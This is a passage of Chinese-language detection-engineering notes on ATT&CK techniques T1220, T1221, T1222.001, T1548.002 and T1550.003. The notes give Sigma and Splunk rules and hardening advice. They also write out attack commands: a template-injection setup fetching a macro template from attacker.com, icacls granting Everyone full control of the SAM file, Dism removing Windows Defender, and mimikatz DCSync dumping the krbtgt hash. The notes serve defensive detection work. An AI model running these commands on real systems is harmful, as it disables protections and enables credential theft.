帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x1a2b 新进程名称: C:\Windows\Temp\msxsl.exe 令牌提升类型: %%1938 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程 ID: 0x3c4d 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: msxsl.exe malicious.xml malicious.xsl ``` **分析**: - 日志记录`msxsl.exe`执行,命令行包含`.xml`和`.xsl`文件。 - 父进程为`cmd.exe`,提示通过命令提示符触发。 ### Sysmon日志(Event ID 3:网络连接) ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2023/10/01 10:00:00 事件 ID: 3 任务类别: Network connection detected 级别: 信息 用户: WIN10-TEST\user 计算机: WIN10-TEST 描述: Network connection detected: RuleName: technique_id=T1220,technique_name=XSL Script Processing UtcTime: 2023-10-01 02:00:00.123 ProcessGuid: {12345678-1234-5678-1234-567890123456} ProcessId: 1234 Image: C:\Windows\System32\wmic.exe Protocol: tcp DestinationIp: 192.168.1.100 DestinationPort: 443 DestinationHostname: attacker.com ``` **分析**: - `wmic.exe`发起HTTPS连接,加载远程XSL文件。 - 网络活动与Squiblytwo技术相关。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 检测msxsl.exe或wmic.exe执行XSL脚本 description: Detects execution of msxsl.exe or wmic.exe loading XSL scripts, potentially executing malicious JavaScript or VBScript. status: experimental date: 2023/10/01 references: - https://attack.mitre.org/techniques/T1220/ logsource: product: windows category: process_creation detection: selection_msxsl: EventID: - 4688 # Windows安全日志 - 1 # Sysmon日志 Image|endswith: '\msxsl.exe' CommandLine|contains: - '.xsl' - '.xml' - 'http://' - 'https://' selection_wmic: EventID: - 4688 - 1 Image|endswith: '\wmic.exe' CommandLine|contains: - '/FORMAT:' - '.xsl' - 'http://' - 'https://' condition: selection_msxsl or selection_wmic fields: - Image - CommandLine - ParentImage falsepositives: - Legitimate use of msxsl.exe or wmic.exe for XSL processing level: high tags: - attack.execution - attack.t1220 ``` **规则说明**: - 检测`msxsl.exe`执行,命令行包含`.xsl`、`.xml`或URL。 - 检测`wmic.exe`执行,命令行包含`/FORMAT:`和`.xsl`或URL。 - 覆盖Windows安全日志(Event ID 4688)和Sysmon日志(Event ID 1)。 - 规则为实验性,需测试以减少合法XSL处理的误报。 ### 建议 1. **监控代理执行工具**: - 使用Sysmon(Event ID 1)捕获`msxsl.exe`和`wmic.exe`的进程创建,检查命令行是否包含`.xsl`、`.xml`或URL。 - 监控Event ID 3(网络连接),检测远程XSL文件加载。 - 监控Event ID 7(镜像加载),检测脚本相关DLL(如`jscript.dll`、`vbscript.dll`)。 2. **启用命令行审计**: - 配置Windows安全策略,启用进程跟踪审核(Event ID 4688)并记录命令行参数。 - 确保Sysmon配置捕获命令行和网络事件。 3. **基线化行为**: - 建立`msxsl.exe`和`wmic.exe`的正常使用基线,生产环境中`msxsl.exe`应罕见,`wmic.exe`加载XSL更不常见。 - 监控非预期父进程(如`powershell.exe`)或异常参数(如URL)。 4. **限制工具使用**: - 使用AppLocker或组策略限制`msxsl.exe`和`wmic.exe`的执行,仅允许特定管理账户使用。 - 禁用或移除非必要的`msxsl.exe`(若未默认安装)。 5. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析安全日志和Sysmon日志,检测XSL脚本执行。 - 设置高优先级告警,针对`msxsl.exe`或`wmic.exe`的异常行为。 6. **行为链关联**: - 将XSL脚本执行与其他可疑行为(如下载恶意文件、子进程创建)关联,识别攻击链。 - 例如,检测`wmic.exe`加载XSL后是否执行PowerShell或下载器。 7. **网络防御**: - 配置防火墙阻止非必要出站连接(如`wmic.exe`的HTTPS请求)。 - 监控异常域名或IP的HTTP/HTTPS流量。 8. **测试与验证**: - 在测试环境中模拟XSL脚本执行(如使用示例XSL文件),验证检测规则有效性。 - 调整规则阈值,排除合法XSL处理的误报。 ## 参考推荐 - MITRE ATT&CK T1220 - 跟着ATT&CK学安全之Defense Evasion - Atomic Red Team T1220 - Microsoft文档:msxsl.exe ================================================ FILE: Windows/07逃避防御/T1221-win-模板注入.md ================================================ # T1221-Win-模板注入 ## 描述 攻击者可能通过创建或修改Microsoft Office文档中的模板引用来隐藏恶意代码或触发强制身份验证尝试,从而规避检测(MITRE ATT&CK T1221)。Office Open XML(OOXML)格式(用于`.docx`、`.xlsx`、`.pptx`等文件)基于XML,文件以ZIP存档形式打包,包含多个XML部件,共同定义文档的属性和呈现方式。其中,模板属性可引用远程资源(如`.dotm`文件),在文档加载时自动获取并执行。 攻击者可滥用此功能,通过注入恶意模板URL实现以下目标: - **隐藏恶意代码**:远程模板(如包含VBA宏的`.dotm`)在文档打开时被下载并执行,而本地文档无明显恶意痕迹(如VBA宏),规避静态检测。 - **强制身份验证**:注入SMB/HTTP URL,诱导用户提供凭据,捕获NTLM哈希或触发认证尝试。 模板注入常与其他技术结合(如钓鱼T1566或污点共享内容),用于初始访问或权限提升。野外案例中,攻击者利用模板注入加载漏洞利用代码或恶意宏,执行恶意行为。 ## 测试案例 ### 测试1:Word远程模板注入 攻击者通过`.docx`文件注入远程`.dotm`模板,触发恶意宏代码执行,模拟打开计算器(`Calculator.exe`)并尝试禁用防病毒软件。 **环境要求**: - 系统:Windows - 软件:Microsoft Word(需安装Office套件,推荐从下载) - 模板文件:`opencalc.dotm`(来自) - 权限:普通用户权限(宏执行需启用或绕过安全设置) **攻击命令**: ```cmd start malicious.docx ``` **准备步骤**: 1. 下载`opencalc.dotm`并托管于可访问的Web服务器(如`http://attacker.com/opencalc.dotm`)。 2. 创建或修改`.docx`文件,注入远程模板引用: - 解压`.docx`(ZIP格式),编辑`word/_rels/settings.xml.rels`。 - 添加或修改`Relationship`元素,指向远程`.dotm`: ```xml ``` - 重新打包为`.docx`。 3. 通过钓鱼邮件或其他方式将`malicious.docx`分发至目标。 **预期结果**: - 打开`malicious.docx`时,Word自动下载`opencalc.dotm`。 - 模板中的宏代码执行,启动`Calculator.exe`并尝试禁用防病毒软件。 **清理命令**: - 关闭Word进程:`taskkill /IM winword.exe /F` - 删除测试文件:`del malicious.docx` ## 检测日志 - **Windows安全日志**:Event ID 4688(进程创建),记录Word子进程(如`Calculator.exe`、`powershell.exe`)的执行。 - **Sysmon日志**: - Event ID 1(进程创建),捕获Word及其子进程的命令行和父进程信息。 - Event ID 3(网络连接),记录Word发起的HTTP/SMB连接。 - **Windows系统日志**:可能记录防病毒服务(如`WinDefend`)状态变更(若被禁用)。 **注意**:模板注入本身不直接生成日志,检测需依赖后续行为(如宏执行、网络连接、子进程创建)。 ## 测试复现 **测试环境**:未安装Microsoft Office,无法执行复现。 **假设环境**:Windows 10,安装Microsoft Word 2016。 **复现步骤**: 1. 托管`opencalc.dotm`于Web服务器(如`http://192.168.1.100/opencalc.dotm`)。 2. 创建`malicious.docx`,注入模板引用: - 使用工具(如OpenXML SDK)或手动编辑`word/_rels/settings.xml.rels`: ```xml ``` 3. 运行攻击命令: ```cmd start malicious.docx ``` 4. 观察Word是否下载模板并执行宏,检查是否启动`Calculator.exe`。 **预期结果**(未实际测试): - Word打开`malicious.docx`,发起HTTP请求下载`opencalc.dotm`。 - 若宏启用,执行`Calculator.exe`并尝试禁用防病毒软件。 - 日志记录Word的网络连接和子进程创建。 ## 测试留痕 **假设留痕**(基于预期行为): ### Windows安全日志(Event ID 4688:进程创建) ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/01 10:00:00 事件 ID: 4688 任务类别: Process Creation 级别: 信息 用户: N/A 计算机: WIN10-TEST 描述: 已创建新进程。 创建者主题: 安全 ID: WIN10-TEST\user 帐户名: user 帐户域: WIN10-TEST 登录 ID: 0x12345 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x1a2b 新进程名称: C:\Windows\System32\calc.exe 令牌提升类型: %%1938 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程 ID: 0x3c4d 创建者进程名称: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE 进程命令行: calc.exe ``` **分析**: - 日志记录`calc.exe`由`WINWORD.EXE`启动,表明模板宏执行。 - 父进程为Word,提示模板注入触发。 ### Sysmon日志(Event ID 3:网络连接) ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2023/10/01 10:00:00 事件 ID: 3 任务类别: Network connection detected (rule: NetworkConnect) 级别: 信息 用户: SYSTEM 计算机: WIN10-TEST 描述: Network connection detected: RuleName: technique_id=T1221,technique_name=Template Injection UtcTime: 2023-10-01 02:00:00.123 ProcessGuid: {12345678-1234-5678-1234-567890123456} ProcessId: 1234 Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE User: WIN10-TEST\user Protocol: tcp DestinationIp: 192.168.1.100 DestinationPort: 80 DestinationHostname: attacker.com ``` **分析**: - Word发起HTTP连接到`192.168.1.100:80`,下载`opencalc.dotm`。 - 网络活动与模板注入相关。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 检测Office应用程序的模板注入行为 description: Detects suspicious process execution or network activity initiated by Microsoft Office applications indicative of template injection. status: experimental date: 2023/10/01 references: - https://attack.mitre.org/techniques/T1221/ logsource: product: windows category: process_creation detection: selection_process: EventID: - 4688 # Windows安全日志 - 1 # Sysmon日志 ParentImage|endswith: '\WINWORD.EXE' Image|endswith: - '\calc.exe' - '\powershell.exe' - '\cmd.exe' selection_network: EventID: 3 # Sysmon网络连接 Image|endswith: '\WINWORD.EXE' DestinationPort: - 80 - 443 - 445 # SMB连接可能用于强制认证 condition: selection_process or selection_network fields: - Image - ParentImage - CommandLine - DestinationIp - DestinationPort falsepositives: - Legitimate Office macros or network activity level: high tags: - attack.execution - attack.t1221 ``` **规则说明**: - 检测Word启动可疑子进程(如`calc.exe`、`powershell.exe`)或发起网络连接(HTTP/HTTPS/SMB)。 - 覆盖Windows安全日志(Event ID 4688)、Sysmon进程创建(Event ID 1)和网络连接(Event ID 3)。 - 规则为实验性,需测试以减少合法宏或网络活动的误报。 ### 建议 1. **监控Office进程行为**: - 使用Sysmon(Event ID 1)捕获Office应用程序(如`WINWORD.EXE`)的子进程创建,检查是否启动异常进程(如`calc.exe`、`powershell.exe`)。 - 监控Event ID 3(网络连接),检测Office发起的HTTP/HTTPS/SMB连接,尤其是非预期目标。 2. **启用命令行审计**: - 配置Windows安全策略,启用进程跟踪审核(Event ID 4688)并记录命令行参数。 - 确保Sysmon配置捕获进程命令行和网络事件。 3. **基线化Office行为**: - 建立Office应用程序的正常行为基线,识别异常子进程或网络连接。 - 生产环境中,Word不应直接发起外部连接或启动可执行文件。 4. **限制宏和模板**: - 使用组策略禁用Office宏或仅允许签名宏运行。 - 配置Word阻止外部模板加载(`HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\BlockContentExecutionFromInternet`)。 - 部署Office安全补丁,修复已知模板注入漏洞。 5. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析安全日志和Sysmon日志,检测模板注入相关行为。 - 设置高优先级告警,针对Office的异常子进程或网络活动。 6. **行为链关联**: - 将模板注入与其他攻击阶段(如钓鱼邮件、网络钓鱼、凭据捕获)关联,识别完整攻击链。 - 例如,检测Word下载模板后是否触发PowerShell执行或SMB认证。 7. **网络防御**: - 配置防火墙阻止Office应用程序的非必要出站连接(如非公司域名)。 - 监控SMB流量,检测异常NTLM认证尝试。 8. **测试与验证**: - 在测试环境中模拟模板注入(如使用`opencalc.dotm`),验证检测规则有效性。 - 调整规则阈值,排除合法Office操作的误报。 ## 参考推荐 - MITRE ATT&CK T1221 - Atomic Red Team T1221 - Microsoft Office模板注入分析 ================================================ FILE: Windows/07逃避防御/T1222.001-Win-文件权限修改.md ================================================ # T1222.001-Win-文件权限修改 ## 描述 攻击者可能通过修改文件或目录的权限(即任意访问控制列表,DACL)来规避访问控制或启用恶意活动(MITRE ATT&CK T1222.001)。Windows中的DACL由文件/目录所有者定义,指定用户或组的权限(如读取、写入、执行)。攻击者可更改这些权限以实现以下目标: - **规避检测**:修改关键文件权限,防止安全工具访问或监控。 - **持久化**:通过更改配置文件权限(如登录脚本、可访问性功能)植入恶意代码。 - **破坏防护**:替换或删除受保护的文件(如安全工具二进制文件)。 修改权限通常需要提升的权限(如Administrator)或文件所有权,常用工具包括`icacls.exe`(改进的`cacls.exe`)、`takeown.exe`或`attrib.exe`。这些操作可能是其他攻击技术的先决条件,如二进制文件污染、工具劫持或持久化。 ## 测试案例 ### 测试1:使用icacls修改文件权限 攻击者使用`icacls.exe`授予普通用户对关键系统文件的完全控制权限(如`C:\Windows\System32\config\SAM`),以便后续修改或替换。 **攻击命令**(需管理员权限): ```cmd icacls C:\Windows\System32\config\SAM /grant Everyone:F ``` **恢复命令**: ```cmd icacls C:\Windows\System32\config\SAM /reset ``` **说明**: - `/grant Everyone:F`:授予“Everyone”完全控制权限(F=Full Control)。 - `/reset`:恢复默认继承的ACL。 - 目标文件为SAM注册表文件,控制本地账户数据库,修改其权限可能允许攻击者篡改凭据。 ## 检测日志 - **Windows安全日志**: - Event ID 4670:权限更改,记录DACL修改。 - Event ID 4688:进程创建,记录`icacls.exe`等工具的执行(需启用进程跟踪审核)。 - **Sysmon日志**: - Event ID 1:进程创建,捕获`icacls.exe`、`takeown.exe`或`attrib.exe`的命令行。 - Event ID 13:注册表修改,可能记录权限相关配置更改。 ## 测试复现 ### 测试1:使用icacls修改文件权限 **测试环境**:Windows Server 2019 **攻击命令**: ```cmd C:\Windows\system32>icacls C:\Windows\System32\config\SAM /grant Everyone:F processed file: C:\Windows\System32\config\SAM Successfully processed 1 files; Failed processing 0 files ``` **验证命令**: ```cmd icacls C:\Windows\System32\config\SAM ``` **输出示例**: ``` C:\Windows\System32\config\SAM Everyone:(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) ``` **结果**: - `Everyone`组获得完全控制权限,允许任何用户修改SAM文件。 - 日志记录`icacls.exe`执行和权限更改。 **恢复命令**: ```cmd icacls C:\Windows\System32\config\SAM /reset ``` ## 测试留痕 ### Windows安全日志(Event ID 4670:权限更改) ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/01 10:00:00 事件 ID: 4670 任务类别: Authorization Policy Change 级别: 信息 用户: N/A 计算机: WIN-SRV2019 描述: 权限已更改。 主题: 安全 ID: S-1-5-21-1234567890-123456789-123456789-500 帐户名: Administrator 帐户域: WIN-SRV2019 登录 ID: 0x3E7 对象: 对象服务器: Security 对象类型: File 对象名称: C:\Windows\System32\config\SAM 句柄 ID: 0x1234 进程信息: 进程 ID: 0x5678 进程名称: C:\Windows\System32\icacls.exe 权限更改: 原始安全描述符: D:(A;;FA;;;BA)(A;;FA;;;SY) 新安全描述符: D:(A;;FA;;;WD)(A;;FA;;;BA)(A;;FA;;;SY) ``` **分析**: - 日志记录`icacls.exe`修改`SAM`文件的DACL,添加`Everyone`(WD=World)的完全权限。 - 新安全描述符显示`Everyone:(A;;FA;;;WD)`,表明权限变更。 ### Windows安全日志(Event ID 4688:进程创建) ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/01 10:00:00 事件 ID: 4688 任务类别: Process Creation 级别: 信息 用户: N/A 计算机: WIN-SRV2019 描述: 已创建新进程。 创建者主题: 安全 ID: S-1-5-21-1234567890-123456789-123456789-500 帐户名: Administrator 帐户域: WIN-SRV2019 登录 ID: 0x3E7 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x5678 新进程名称: C:\Windows\System32\icacls.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0x9abc 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: icacls C:\Windows\System32\config\SAM /grant Everyone:F ``` **分析**: - 日志记录`icacls.exe`执行,命令行包含`/grant Everyone:F`。 - 父进程为`cmd.exe`,提示通过命令提示符触发。 ## 检测规则/思路 ### Splunk规则 ```spl index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image IN ("*\\icacls.exe", "*\\takeown.exe", "*\\attrib.exe")) OR (EventCode=1 CommandLine="*/grant*") | table _time, host, user, Image, CommandLine, ParentImage ``` **规则说明**: - 监控Sysmon日志中`icacls.exe`、`takeown.exe`或`attrib.exe`的执行,或命令行包含`/grant`的操作。 - 提取时间、主机、用户、进程路径、命令行和父进程信息。 - 适用于Splunk环境,需调整为其他SIEM系统。 ### Sigma规则 ```yaml title: 检测文件权限修改行为 description: Detects execution of icacls.exe, takeown.exe, or attrib.exe to modify file or directory permissions. status: experimental date: 2023/10/01 references: - https://attack.mitre.org/techniques/T1222/001/ logsource: product: windows category: process_creation detection: selection_tools: EventID: - 4688 # Windows安全日志 - 1 # Sysmon日志 Image|endswith: - '\icacls.exe' - '\takeown.exe' - '\attrib.exe' selection_grant: EventID: - 4688 - 1 CommandLine|contains: '/grant' selection_permission_change: EventID: 4670 ObjectType: File condition: selection_tools or selection_grant or selection_permission_change fields: - Image - CommandLine - ParentImage - ObjectName falsepositives: - Legitimate administrative file permission changes level: medium tags: - attack.defense_evasion - attack.t1222.001 ``` **规则说明**: - 检测`icacls.exe`、`takeown.exe`或`attrib.exe`的执行,或命令行包含`/grant`。 - 检测Event ID 4670,记录文件DACL更改。 - 规则为实验性,需与基线行为对比以减少误报。 ### 建议 1. **监控权限修改工具**: - 使用Sysmon(Event ID 1)捕获`icacls.exe`、`takeown.exe`或`attrib.exe`的进程创建,检查命令行是否包含`/grant`、`/setowner`或`/inheritance`。 - 监控Event ID 4670,检测关键文件(如`C:\Windows\System32\config`)的DACL更改。 2. **启用命令行审计**: - 配置Windows安全策略,启用进程跟踪审核(Event ID 4688)并记录命令行参数。 - 确保Sysmon配置捕获命令行信息。 3. **基线化行为**: - 建立权限修改工具的正常使用基线,生产环境中修改关键系统文件权限应极为罕见。 - 监控非管理员用户或非预期父进程(如`powershell.exe`)执行权限修改。 4. **保护关键文件**: - 配置关键文件/目录(如`C:\Windows\System32\config`)的严格DACL,限制非系统账户访问。 - 启用文件完整性监控,检测未经授权的权限更改。 5. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析安全日志和Sysmon日志,检测权限修改行为。 - 设置告警,针对关键文件的DACL更改或异常工具执行。 6. **行为链关联**: - 将权限修改与其他可疑行为(如文件替换、恶意进程执行)关联,识别攻击链。 - 例如,检测权限修改后是否出现注册表篡改或服务创建。 7. **限制工具使用**: - 使用AppLocker或组策略限制`icacls.exe`、`takeown.exe`的执行,仅允许特定管理账户使用。 - 监控未经授权的工具调用。 8. **测试与验证**: - 在测试环境中模拟权限修改(如修改SAM文件权限),验证检测规则有效性。 - 调整规则阈值,排除合法管理操作的误报。 ## 参考推荐 - MITRE ATT&CK T1222.001 - Windows icacls命令使用指南 - Microsoft文档:icacls命令 - Atomic Red Team T1222.001 ================================================ FILE: Windows/07逃避防御/T1548.002-Win-使用Dism删除Defender.md ================================================ # T1548.002-Win-使用Dism删除Defender ## 描述 攻击者可能通过绕过**用户账户控制(UAC)**机制提升进程权限,以在系统上执行高权限操作(MITRE ATT&CK T1548.002)。UAC是Windows的安全功能,限制进程的完整性级别,防止未经授权的管理员级操作。攻击者可利用UAC配置漏洞或特定工具(如`Dism.exe`)执行需要提升权限的任务,而无需用户确认提示。 **Windows Defender**(由`WinDefend`服务支持)是Windows内置的防病毒解决方案。攻击者可能通过`Dism.exe`(部署映像服务和管理工具)移除Windows Defender的组件或功能,以禁用其防护能力,允许恶意软件运行而不会被检测。`Dism.exe`可用于管理操作系统包和功能,包括卸载Windows Defender相关包(如`Windows-Defender-AM-Default-Definitions`)。此操作需要管理员权限,且可能规避UAC提示(若UAC设置非最高级别),增加隐蔽性。 ## 测试案例 ### 测试1:使用Dism移除Windows Defender包 攻击者通过`Dism.exe`移除Windows Defender相关包,禁用其防病毒功能。 **准备步骤**: 1. 查找Windows Defender相关包: - 检查注册表路径:`HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages` - 搜索包含`*Windows-Defender*`的条目,获取包名称(如`Windows-Defender-AM-Default-Definitions-OptionalWrapper-Package~31bf3856ad364e35~amd64~~10.0.22621.1`)。 2. 使用`Dism.exe`移除指定包。 **攻击命令**(需管理员权限): ```cmd Dism.exe /online /quiet /norestart /remove-package /packagename:Windows-Defender-AM-Default-Definitions-OptionalWrapper-Package~31bf3856ad364e35~amd64~~10.0.22621.1 ``` **恢复命令**(若支持回滚): ```cmd Dism.exe /online /quiet /norestart /add-package /packagename:Windows-Defender-AM-Default-Definitions-OptionalWrapper-Package~31bf3856ad364e35~amd64~~10.0.22621.1 ``` **说明**: - `/online`:针对当前运行的操作系统。 - `/quiet`:静默执行,无用户交互。 - `/norestart`:避免自动重启。 - `/remove-package`:移除指定包,禁用Defender功能。 - 命令需在提升的命令提示符中运行,否则报错740(需要提升权限)。 ## 检测日志 - **Windows安全日志**:Event ID 4688(进程创建),记录`Dism.exe`的执行(需启用进程跟踪审核)。 - **Windows系统日志**:Event ID 7036(服务状态变更),记录`WinDefend`服务停止(若Defender服务受影响)。 - **Sysmon日志**: - Event ID 1(进程创建),捕获`Dism.exe`的命令行参数。 - Event ID 13(注册表修改),记录Defender配置更改。 ## 测试复现 ### 测试1:尝试移除Windows Defender包 **测试环境**:Windows 10/11 **攻击命令**(非管理员权限): ```cmd C:\Users\jackma>Dism.exe /online /quiet /norestart /remove-package /packagename:Windows-Defender-AM-Default-Definitions-OptionalWrapper-Package~31bf3856ad364e35~amd64~~10.0.22621.1 错误: 740 需要提升权限才能运行 DISM。 使用提升的命令提示符完成这些任务。 ``` **攻击命令**(管理员权限): ```cmd C:\Windows\system32>Dism.exe /online /quiet /norestart /remove-package /packagename:Windows-Defender-AM-Default-Definitions-OptionalWrapper-Package~31bf3856ad364e35~amd64~~10.0.22621.1 ``` **结果**: - 非管理员权限下,命令失败,报错740。 - 管理员权限下,命令成功执行,移除指定Defender包(需验证Defender是否完全禁用)。 - 日志记录`Dism.exe`执行,即使失败也生成进程创建事件。 ## 测试留痕 ### Windows安全日志(Event ID 4688:进程创建) ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/01 10:00:00 事件 ID: 4688 任务类别: Process Creation 级别: 信息 用户: N/A 计算机: MAJACKD3D7 描述: 已创建新进程。 创建者主题: 安全 ID: S-1-5-21-4139220405-2433135684-1686031733-1000 帐户名: jackma 帐户域: MAJACKD3D7 登录 ID: 0x1f9f5 目标主题: 安全 ID: S-1-0-0 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0xa28 新进程名称: C:\Windows\System32\Dism.exe 令牌提升类型: %%1938 (TokenElevationTypeLimited) 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程 ID: 0x69c 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: Dism.exe /online /quiet /norestart /remove-package /packagename:Windows-Defender-AM-Default-Definitions-OptionalWrapper-Package~31bf3856ad364e35~amd64~~10.0.22621.1 ``` **分析**: - 日志记录`Dism.exe`执行,命令行包含`remove-package`和`Windows-Defender`相关包名。 - 父进程为`cmd.exe`,提示通过命令提示符触发。 - 即使命令失败(错误740),日志仍记录尝试。 ### Windows系统日志(Event ID 7036:服务状态变更) ```xml 日志名称: System 来源: Service Control Manager 日期: 2023/10/01 10:00:00 事件 ID: 7036 任务类别: None 级别: 信息 用户: N/A 计算机: MAJACKD3D7 描述: Windows Defender Antivirus Service 服务处于 停止 状态。 ``` **分析**: - 若Defender服务(`WinDefend`)因包移除而停止,生成此日志。 - 仅在Defender完全禁用时触发。 ## 检测规则/思路 ### Splunk规则 ```spl | tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=dism.exe (Processes.process="*/online*" AND Processes.process="*/remove-package*" AND Processes.process="*Windows-Defender*") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_dism_remove_defender_filter` ``` **规则说明**: - 监控`Dism.exe`进程,筛选命令行包含`/online`、`/remove-package`和`Windows-Defender`的执行。 - 使用Endpoint.Processes数据模型,提取进程详细信息。 - 规则适用于Splunk环境,需调整为其他SIEM系统。 ### Sigma规则 ```yaml title: 检测使用Dism移除Windows Defender description: Detects execution of Dism.exe to remove Windows Defender packages, potentially bypassing UAC. status: experimental date: 2023/10/01 references: - https://attack.mitre.org/techniques/T1548/002/ logsource: product: windows category: process_creation detection: selection: EventID: - 4688 # Windows安全日志 - 1 # Sysmon日志 Image|endswith: '\Dism.exe' CommandLine|contains|all: - '/online' - '/remove-package' - 'Windows-Defender' condition: selection fields: - Image - CommandLine - ParentImage - User falsepositives: - Legitimate administrative package management level: high tags: - attack.privilege_escalation - attack.t1548.002 ``` **规则说明**: - 检测`Dism.exe`执行,命令行包含`/online`、`/remove-package`和`Windows-Defender`。 - 覆盖Windows安全日志(Event ID 4688)和Sysmon日志(Event ID 1)。 - 规则为实验性,需测试以减少合法包管理的误报。 ### 建议 1. **监控Dism执行**: - 使用Sysmon(Event ID 1)捕获`Dism.exe`的进程创建,检查命令行是否包含`remove-package`和`Windows-Defender`。 - 监控Event ID 13(注册表修改),检测Defender配置更改(如`HKLM\SOFTWARE\Microsoft\Windows Defender`)。 2. **启用命令行审计**: - 配置Windows安全策略,启用进程跟踪审核(Event ID 4688)并记录命令行参数(需Windows 7+支持)。 - 确保Sysmon配置包含命令行信息。 3. **基线化行为**: - 建立`Dism.exe`的正常使用基线,生产环境中移除Defender包应极为罕见。 - 监控非管理员用户或非预期父进程(如`powershell.exe`)执行`Dism.exe`。 4. **保护Defender服务**: - 启用Windows Defender的防篡改保护,防止未经授权的禁用。 - 配置`WinDefend`服务为自动启动,防止手动停止。 5. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析安全日志和Sysmon日志,检测Defender禁用行为。 - 设置高优先级告警,针对`Dism.exe`移除Defender包的尝试。 6. **行为链关联**: - 将Defender禁用与其他可疑行为(如恶意文件执行、网络连接)关联,识别攻击链。 - 例如,检测移除Defender后是否出现C2通信或勒索软件活动。 7. **限制Dism使用**: - 使用AppLocker或组策略限制`Dism.exe`的执行,仅允许特定管理账户使用。 - 监控未经授权的`Dism.exe`调用。 8. **响应措施**: - 检测到Defender禁用后,立即恢复Defender包(若可回滚)或重新启用服务(`net start WinDefend`)。 - 调查攻击来源,检查是否有后续恶意活动。 9. **测试与验证**: - 在测试环境中模拟移除Defender包,验证检测规则有效性。 - 调整规则阈值,排除合法管理操作的误报。 ## 参考推荐 - MITRE ATT&CK T1548.002 - 主流卸载Windows Defender方式分析 - Microsoft文档:Dism命令 - Atomic Red Team T1548.002 ================================================ FILE: Windows/07逃避防御/T1550.003-Win-黄金票据.md ================================================ # T1550.003-Win-黄金票据 ## 描述 攻击者可能通过窃取并伪造Kerberos票据(称为“传递票据”,Pass-the-Ticket,PtT)在目标环境中横向移动,绕过系统访问控制(MITRE ATT&CK T1550.003)。Kerberos是Windows Active Directory(AD)环境中常用的身份验证协议,允许使用票据(如票据授予票据TGT或服务票据ST)进行身份验证,无需提供密码。 **黄金票据(Golden Ticket)**是一种高级PtT攻击,通过伪造票据授予票据(TGT)实现对域内任意资源的访问。攻击者利用域密钥分发中心(KDC)服务账户`krbtgt`的NTLM哈希(或其他加密密钥,如AES256)生成伪造的TGT,从而冒充任何用户(包括域管理员)访问域内资源。黄金票据攻击通常在域控权限被获取后执行,作为持久化后门,即使域管理员密码被重置,攻击者仍可通过伪造票据维持访问。 与**银票据(Silver Ticket)**不同,黄金票据针对整个域,而非单一资源。成功执行黄金票据攻击需要以下信息: - 域名称 - 域SID - `krbtgt`账户的NTLM哈希或AES密钥 - 伪造的用户名 ## 测试案例 ### 测试1:使用Mimikatz伪造黄金票据 攻击者在获取`krbtgt`账户的NTLM哈希和域SID后,使用Mimikatz生成并注入伪造的TGT,访问域控资源。 **环境要求**: - 域控:Windows Server 2016 - 客户端:Windows 7(域内机器) - 工具:Mimikatz - 权限:需获取`krbtgt`哈希(通常通过域控权限或DCSync) **攻击步骤**: 1. 获取`krbtgt`哈希和域SID。 2. 清除客户端现有Kerberos票据。 3. 伪造并注入黄金票据。 4. 验证访问域控资源。 ## 检测日志 - **Windows安全日志**: - Event ID 4624:账户登录,记录Kerberos身份验证。 - Event ID 4672:特权分配,可能显示异常账户权限。 - Event ID 4768:TGT请求,记录AS-REP票据颁发。 - Event ID 4769:服务票据请求,记录TGS-REQ。 - **Sysmon日志**: - Event ID 1:进程创建,记录Mimikatz或其他工具执行。 - Event ID 10:进程访问,记录凭据转储尝试。 ## 测试复现 ### 测试环境 - **域控**:Windows Server 2016(域:`abcc.org`,主机名:`ICBC`) - **客户端**:Windows 7(域内机器) - **工具**:Mimikatz ### 测试过程 #### 1. 尝试访问域控共享目录(未授权) **命令**: ```cmd dir \\ICBC.abcc.org\c$ ``` ![访问DC目录](https://s1.ax1x.com/2020/04/16/JFzcM6.png) **结果**: - 提示访问拒绝,表明当前用户无权限。 #### 2. 导出krbtgt用户的哈希和SID 在域控或具有DCSync权限的机器上使用Mimikatz提取`krbtgt`凭据。 **命令**: ```cmd mimikatz.exe "lsadump::dcsync /domain:abcc.org /user:krbtgt" exit ``` ![凭据](https://s1.ax1x.com/2020/04/16/JFzXdg.png) **输出示例**: ``` Object RDN : krbtgt ** SAM ACCOUNT ** SAM Username : krbtgt Account Type : 